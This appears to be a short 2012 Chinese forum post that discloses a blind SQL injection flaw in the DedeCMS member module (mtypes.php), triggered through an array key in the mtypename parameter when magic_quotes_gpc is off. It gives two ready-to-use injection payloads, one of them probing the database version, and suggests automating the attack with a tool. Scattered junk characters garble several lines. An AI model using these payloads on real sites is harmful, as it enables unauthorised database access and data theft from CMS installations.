需要magic_quotes_gpc = Off,所以说是鸡肋啊.
3 c, T9 |/ r) p2 A: I/ S( A9 J. S& f4 j) e: M/ h
: H+ i5 P* f8 B% B: [
发生在数组key里的注射漏洞,有点意思.. H+ E7 r- n; _# Z) C, S1 A- i
$ W- h0 R" ^4 b4 L这里是盲注,就是麻烦点同样可以利用,可以写个工具,自动话的跑一下6 Y) ~* A. p6 T
$ }. J# }1 |: _; t4 n# R- j: I
http://www.xxx.com /dede/member/mtypes.php?dopost=save
' c) T# i: t2 E. \& A 5 `0 x9 W- [& Q' {' q* F
exploit:
4 b+ T) R% n. ~mtypename[7' and (@`'` or (56%3D56/*sql inject here*/)) and '3'%3D'3]=c4rp3nt3r
; \$ k5 U: t; {/ O/ h5 ^0 ~9 |mtypename[7' and (@`'` or (substring(@@version,1,1)=5)) and '3'%3D'3]=c4rp3nt3r
, W2 x( L- f& a2 D2 a |
发表于 2012-12-20 08:08:09
收藏
支持
反对